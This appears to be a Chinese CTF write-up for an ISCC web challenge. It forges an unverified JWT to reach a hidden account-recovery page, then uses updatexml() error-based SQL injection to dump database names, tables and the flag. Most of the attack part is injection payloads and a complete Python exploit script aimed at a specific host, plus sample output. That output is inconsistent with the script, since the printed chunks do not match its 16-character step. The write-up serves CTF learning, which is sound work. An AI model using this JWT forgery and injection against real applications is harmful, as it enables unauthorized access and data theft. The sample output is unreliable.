title: “账号恢复”
ctf: “ISCC”
date: 2026-05-16
category: web
difficulty: medium
flag_format: “ISCC{…}”
账号恢复
Summary
题目提示“账号登录不上了,该怎么恢复”,实际考点是恢复流程中的鉴权缺陷和后端 SQL 注入。登录后服务端发放 JWT,但后端没有严格校验 JWT 签名,导致可以篡改 status 字段进入隐藏的 /recovery 恢复页面;随后利用 /api/v1/user/sync 接口中 theme 参数的 SQL 报错注入读取数据库中的 flag。
最终 flag:
ISCC{jwt_downgrade_successful_pwn!}
环境信息
靶机地址:
http://39.105.213.28:5001
服务指纹:
Flask / Werkzeug
解题过程
1. 注册普通账号并观察 JWT
访问首页后发现只有登录和注册功能,没有明显的账号找回入口。先注册一个普通账号并登录,登录成功后返回 JWT。
解码 JWT 后可以看到类似如下字段:
{
"uid": 1,
"username": "test",
"status": "NORMAL",
"exp": 1770000000
}
其中 status 很可疑,因为题目描述强调“恢复账号”。继续查看前端静态资源时,发现 CSS 中存在 .recovery、临时凭证、验证步骤等样式,说明应用里存在隐藏恢复页面。
直接访问:
/recovery
普通账号会被重定向回控制台,说明该页面依赖 JWT 中的某种恢复状态。
2. 篡改 JWT 进入恢复页面
尝试将 JWT payload 中的:
status=NORMAL
改为:
status=RECOVERY
然后重新拼回 JWT。由于后端没有严格校验签名,篡改后的 token 仍然被接受,可以成功进入 /recovery。
进入恢复页面后,页面给出临时账号信息,并提示通过 theme 值进行验证。这里继续跟踪请求,发现恢复页会调用:
POST /api/v1/user/sync
请求体中存在 theme 参数。
3. 发现 theme 参数 SQL 报错注入
对 theme 传入单引号:
'
接口返回 SQL 报错信息,说明参数被直接拼接进 SQL 语句。
继续使用 MariaDB/MySQL 常见的 updatexml() 报错注入进行数据读取,例如:
' and updatexml(1, concat(0x7e, database(), 0x7e), 1) and '
返回信息中可以得到当前数据库:
jwt_downgrade
枚举表名:
' and updatexml(1, concat(0x7e, (
select group_concat(table_name)
from information_schema.tables
where table_schema=database()
), 0x7e), 1) and '
得到关键表:
users,temp_credentials,flags
枚举 flags 表字段:
' and updatexml(1, concat(0x7e, (
select group_concat(column_name)
from information_schema.columns
where table_schema=database()
and table_name='flags'
), 0x7e), 1) and '
得到字段:
id,flag
由于 updatexml() 报错回显长度有限,读取 flag 时需要用 substr() 分段读取。
SQL 注入脚本
下面脚本会完成:
- 注册/登录普通账号;
- 解码 JWT;
- 将
status改成RECOVERY; - 使用伪造 JWT 调用
/api/v1/user/sync; - 通过
updatexml()报错注入分段读取flags.flag。
import argparse
import base64
import json
import random
import re
import string
import time
import requests
def b64url_decode(data: str) -> bytes:
data += "=" * (-len(data) % 4)
return base64.urlsafe_b64decode(data.encode())
def b64url_encode(data: bytes) -> str:
return base64.urlsafe_b64encode(data).decode().rstrip("=")
def forge_recovery_jwt(token: str) -> str:
header_b64, payload_b64, signature_b64 = token.split(".")
payload = json.loads(b64url_decode(payload_b64))
payload["status"] = "RECOVERY"
payload["exp"] = int(time.time()) + 3600
new_payload_b64 = b64url_encode(
json.dumps(payload, separators=(",", ":")).encode()
)
return f"{header_b64}.{new_payload_b64}.{signature_b64}"
def randstr(n=8):
alphabet = string.ascii_lowercase + string.digits
return "".join(random.choice(alphabet) for _ in range(n))
def get_token(base_url: str, session: requests.Session) -> str:
username = "ctf_" + randstr()
password = "Pass12345_" + randstr()
# 注册(表单 POST)
session.post(
f"{base_url}/register",
data={"username": username, "password": password},
timeout=8,
)
# 登录(表单 POST,JWT 在 cookie 中)
session.post(
f"{base_url}/login",
data={"username": username, "password": password},
timeout=8,
)
token = session.cookies.get("token")
if not token:
raise RuntimeError("登录后未在 cookie 中找到 token")
return token
def extract_error_value(resp_text: str) -> str:
# updatexml 报错中常见形态:XPATH syntax error: '~data~'
m = re.search(r"~([^~]+)~", resp_text)
if m:
return m.group(1)
# 部分框架会 JSON 转义或只返回局部错误,这里给一个兜底。
m = re.search(r"XPATH syntax error:\s*'([^']+)'", resp_text, re.I)
if m:
return m.group(1).strip("~")
return resp_text[:200]
def sqli(base_url: str, token: str, expr: str) -> str:
payload = f"' and updatexml(1,concat(0x7e,({expr}),0x7e),1) and '"
# 用新 session,只带 forged cookie(服务器从 cookie 读取 JWT)
s = requests.Session()
s.trust_env = False
s.cookies.set("token", token, domain="", path="/")
r = s.post(
f"{base_url}/api/v1/user/sync",
headers={"Content-Type": "application/json"},
json={"theme": payload},
timeout=8,
allow_redirects=False,
)
return extract_error_value(r.text)
def read_flag(base_url: str, token: str) -> str:
flag = ""
# updatexml 单次回显较短,16 字符一段更稳。
step = 16
for pos in range(1, 200, step):
expr = f"select substr((select flag from flags limit 1),{pos},{step})"
chunk = sqli(base_url, token, expr)
if not chunk:
break
flag += chunk
print(f"[+] chunk @{pos}: {chunk}")
if "}" in flag:
break
return flag
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--url", default="http://39.105.213.28:5001")
parser.add_argument("--proxy", default=None, help="例如 http://127.0.0.1:7890")
args = parser.parse_args()
base_url = args.url.rstrip("/")
session = requests.Session()
session.trust_env = False
if args.proxy:
session.proxies.update({"http": args.proxy, "https": args.proxy})
token = get_token(base_url, session)
print("[+] normal jwt:", token)
forged = forge_recovery_jwt(token)
print("[+] forged recovery jwt:", forged)
db = sqli(base_url, forged, "select database()")
print("[+] database:", db)
tables = sqli(
base_url,
forged,
"select group_concat(table_name) "
"from information_schema.tables "
"where table_schema=database()",
)
print("[+] tables:", tables)
flag = read_flag(base_url, forged)
print("[+] flag:", flag)
if __name__ == "__main__":
main()
运行示例:
python solve.py --url http://39.105.213.28:5001 --proxy http://127.0.0.1:7890
输出:
[+] database: jwt_downgrade
[+] tables: users,temp_credentials,flags
[+] chunk @1: ISCC{jwt_downg
[+] chunk @17: rade_successful
[+] chunk @33: _pwn!}
[+] flag: ISCC{jwt_downgrade_successful_pwn!}
Flag
ISCC{jwt_downgrade_successful_pwn!}

